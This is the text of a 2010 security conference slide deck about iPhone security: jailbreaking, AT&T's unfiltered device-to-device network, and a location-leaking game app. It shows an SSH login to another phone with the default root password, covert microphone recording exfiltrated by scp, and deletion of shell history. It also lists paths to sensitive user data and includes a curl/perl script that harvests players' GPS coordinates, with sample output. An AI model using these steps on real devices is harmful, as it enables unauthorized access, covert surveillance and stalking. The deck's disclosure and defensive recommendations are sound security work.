The New World of Smartphone Security

The New World of Smartphone Security

What Your iPhone Disclosed About You

Trevor HawthornManaging Partner

Friday, July 9, 2010

Today’s Talk

“Pockets full of shells”


Today’s Talk

“I can see you from my house”


Who I am now


Old Smartphone Best Practices

= Bad

= Good


New Smartphone Best Practices

1. IT will use the iPhone Configuration Utility so you can talk to Exchange, use the VPN, wireless, etc.

2. Get iFart, it’s hilarious.


If AT&T is in attendance:



• Facts about AT&T and me:




• I enjoy my AT&T wireless service





• Feel that I have fantastic coverage everywhere I go at all times






• Am sure you have the largest/fastest 3G network, regardless of what VZW says







• Looking forward to years of receiving quality service from you







• Looking forward to years of receiving quality service from you

• Would love to chat


Jailbreaking

blackra1n

pwnagetool


It opens up a whole new world of applications



• common Unix binaries




• sshd




• sshd

• tethering




• sshd

• tethering

• pirate software




• sshd

• tethering

• pirate software

• super easy to JB your phone


Impact on security

“Jail breaking removes 80% of the iPhone’s security precautions”

Charlie Miller, SyScan 2009


How many iPhones are jailbroken?


6.93%

[1]http://www.slideshare.net/pinchmedia/piracy-on-the-appstore


http://www.slideshare.net/pinchmedia/piracy-on-the-appstore

http://www.slideshare.net/pinchmedia/piracy-on-the-appstore

Global Stats


ifconfig root# ifconfig

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384

inet 127.0.0.1 netmask 0xff000000

en0: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500

ether 00:21:e9:09:e3:4f

pdp_ip0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1450

inet 10.69.62.220 --> 10.69.62.220 netmask 0xffffffff




en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500

inet 192.168.20.1 netmask 0xffffff00 broadcast 192.168.20.255

ether 0a:0b:ad:0b:ab:e0


Interfaces


en0 = 802.11 interface

Interfaces



pdp_ip0 = primary cellular interface on APN: wap.cingular

Interfaces




pdp_ip1 = activates when retrieving visual voicemail on APN: acds.voicemail

Interfaces





pdp_ip2 = not sure

Interfaces





pdp_ip2 = not sure

pdp_ip3 = used with tethering

Interfaces


ifconfig


inet 10.69.62.220 --> 10.69.62.220 netmask 0xffffffff


sshd


So what?


Until (about) October 16, 2009 AT&T did not filter device to device IP network

traffic.


AT&T’s Network

Most people think it looks like this:

/32


AT&T’s Network

Actually, more like this:

Multiple /16’s


Your smartphone (and laptop/blackberry, etc.) has been on one giant

flat network...


So I started looking around...




Devices On the Network

10,589* IPs scanned

Count Port What?

83244

3,644

22 sshd80 http

2008 PDANet62078 iPhone Default


Other stuff out there

• Saw a Linux box with sshd

• Windows Mobile devices

• Blackberries

• Windows PC’s

• PDANet for the iPhone is an open proxy.



ssh access between phones

Trevors-iPhone:~ root# ssh [email protected]

Password: [alpine]

Nates-iPhone:~ root#

Nates-iPhone:~ root# id

uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),20(staff),29(certusers),80(admin)


mailto:[email protected]




Filesystem Guide

Interesting stuff:

/private/var/mobile/Library/Mail - Email (IMAP, Exchange, POP3, etc.)/private/var/mobile/Library/SMS - SMS Text Messages/private/var/mobile/Library/Voicemail - Voicemail in .amr format/private/var/mobile/Library/AddressBook - Contacts/private/var/mobile/Library/CallHistory - Call History/private/var/mobile/Library/Notes - Notes


/private/var/mobile/Library/CallHistory/call_history.db /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb /private/var/mobile/Library/AddressBook/AddressbookImages.sqlitedb /private/var/mobile/Library/Cookies/Cookies.plist /private/var/mobile/Library/Keyboard/dynamic-text.dat /private/var/mobile/Library/Mail/Accounts.plist /private/var/mobile/Library/Mail/(mail account name)/Deleted Messages /private/var/mobile/Library/Mail/(mail account name)/Sent Messages /private/var/mobile/Library/Mail/(mail account name)/INBOX /private/var/mobile/Library/Maps/History.plist /private/var/mobile/Library/YouTube/Bookmarks.plist /private/var/mobile/Library/Voicemail/(amr files) /private/var/mobile/Library/Voicemail/voicemail.db /private/var/mobile/Library/Safari/Bookmarks.plist /private/var/mobile/Library/Safari/History.plist /private/var/mobile/Library/Suspend.plist /private/var/mobile/Library/Safari/SuspendState.plist /private/var/mobile/Library/Safari/SMS/sms.db /private/var/mobile/Library/Preference/(various preference Plists) /private/var/mobile/Library/Notes/notes.db


Let’s do a bit more

Erica Utilities - cmd line utilities for the iPhone

recAudiorecAudio: Record audio from the onboard microphone.

findmeQueries the iPhone’s GPS API to return latitude/longitude


Attacker Victim

recAudio

scp/ssh

recording.aiff

10.69.62.10010.69.62.220


I can hear you typingTrevors-iPhone:~ root# scp bin/recAudio [email protected]:

Password:

recAudio 100% 19KB 1.3KB/s 00:00

Trevors-iPhone:~ root# ssh [email protected]

Password:

Nates-iPhone:~ root# ./recAudio

Start talking. Press ^C to finish.

Starting recording

^C

Interrupted.

Stopping recording








Nates-iPhone:~ root# ls -l *.aiff

-rw-r--r-- 1 root wheel 43178 Oct 2 22:35 2009-10-92\ at\ 22:35:04.aiff

Nates-iPhone:~ root# mv 2009-10-92\ at\ 22:35:04.aiff test.aiff

Trevors-iPhone: root# scp [email protected]:~/*.aiff .

Password:

test.aiff 100% 523KB 2.2KB/s 00:00

Nates-iPhone:~ root# rm test.aiff recAudio .bash_history

Nates-iPhone:~ root# last

wtmp begins at Fri Oct 2 22:41

Nates-iPhone:~ root#




Other bad things


Other bad things

• ./openURL tel://1-900-XXX-XXX


Other bad things


• ./openURL tel://911 or tel://mynumber


Other bad things



• Pillage filesystem: email, sms, notes, app data, etc.


Other bad things




• apt-get install tcpdump nmap


Other bad things




• apt-get install tcpdump nmap

• go wild on whatever network en0 is connected to.


Worms and Exploits


Dutch Extortion

November 2009


ikee Worm

November 2009


Exploits

• Phone/Privacy.A* command line tool

• Phone/iBotNet.A* worm with C&C*Discovered by security firm Intego


Some good news


Some good news• AT&T does segment part of their network:



• e.g. I could not see friend in CA from DC




• But I could see friend in Boston





• No easy way to target specific individual (Identity to AT&T NAT IP address not super easy)






• No way to correlate 10.x.x.x IP to person via Safari







• decloak.net doesn’t really work in Mobile Safari







• decloak.net doesn’t really work in Mobile Safari

• Man this is slow...


email to ID user

<img src=”http://10.69.62.220/i.jpg”>

10.69.63.220:80 10.69.63.110

10.69.63.220:80 10.69.63.110src:10.69.63.110dst:10.69.63.220


http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

http://10.69.62.220/target

What to do

• Don’t Jailbreak your phone if you care about security (sorry)

• Change root and mobile users’ passwords

• Attention Cydia Folks: Do not bind sshd to pdp interfaces; force password change upon install

• IT Folks: Policy on jailbroken iphones

• AT&T: Filter mobile to mobile IP traffic


Privacy and Location Based Apps


Location Based Apps


Location Based Apps

• Underworld: Sweet Deal


Location Based Apps


• Drug trafficking game with candy


Location Based Apps



• Location matters, move product from point A to point B


Location Based Apps



• Location matters, move product from point A to point B

• Phone sends high resolution coordinates to game server


Like Druglords


Underworld: Sweetdeal


Google Maps


Paros

• Client side proxy

• Configure iPhone to use machine running Paros’s IP address as proxy

• Watch what your apps send and receive


Request


Response


Used to monitor players







Let’s pick a non-intel agency player

chezk


Request


Response


Lat/Lon to GMaps:


County Records


Facebook


Ok neat, what else?


Near real-time geolocation tracking of players


cURL + perl + crontab = csv + gpsbabel = kml + Google Earth = EPIC screen shots


#/bin/sh## First login...#curl -s -H "User-Agent: Underworld premium/1.4.0 CFNetwork/459 Darwin/10.0.0d3" -d @/home/trevor/iphone/login.xml --dump-header /home/trevor/iphone/headers.txt http://game.dl.a-steroids.com/TrafficServer/## Then update locationcurl -s -H "User-Agent: Underworld premium/1.4.0 CFNetwork/459 Darwin/10.0.0d3" -b /home/trevor/iphone/headers.txt -d @/home/trevor/iphone/update_loc.xml http://game.dl.a-steroids.com/TrafficServer/## Get GMap obhjectscurl -s -H "User-Agent: Underworld premium/1.4.0 CFNetwork/459 Darwin/10.0.0d3" -b /home/trevor/iphone/headers.txt -d @/home/trevor/iphone/gmap_update.xml http://game.dl.a-steroids.com/TrafficServer/

curl script


http://game.dl.a-steroids.com/TrafficServer/






perl script#! /usr/bin/perl

use strict;use warnings;

# make single or multiline input into one scalar my $glob = join('',(<>));

# extract name-to-flag records my @records = $glob =~ /(<name>.*?<\/lon>)/ig;

for (@records){ my ($name,$lat,$lon) = $_ =~ qr|<name>(.*?)</name>.*?<lat>([\-\d\.]*)</lat><lon>([\-\d\.]*)</lon>|i; print "$lat,$lon,$name\n";}


perl script output

39.93220206723633,-77.47186584472656,poppyseed38.13753356933594,-77.06847380591797,Gadsden39.98429718017578,-78.30014190673828,Ziggety39.23520812988281,-77.40483581542969,Lexi39.855418395996094,-77.2717056274414,Tatu39.55705801582031,-77.4004086303711,Bigfoot36.67790985107422,-77.5902328491211,Jeneko38.297552490234375,-77.65829467773438,Stilbored39.891050720214844,-77.55879211025781,Timoteo39.66313247680664,-78.04374694824219,Gamber36.295310314697266,-78.14061126700984,UnderWear










Comments/Feedback:

[email protected]

www.stratumsecurity.com

Twitter:

@packetwerks

@stratumsecurity

Special Thanks: Tiago Stock
















Technology

The New World of Smartphone Security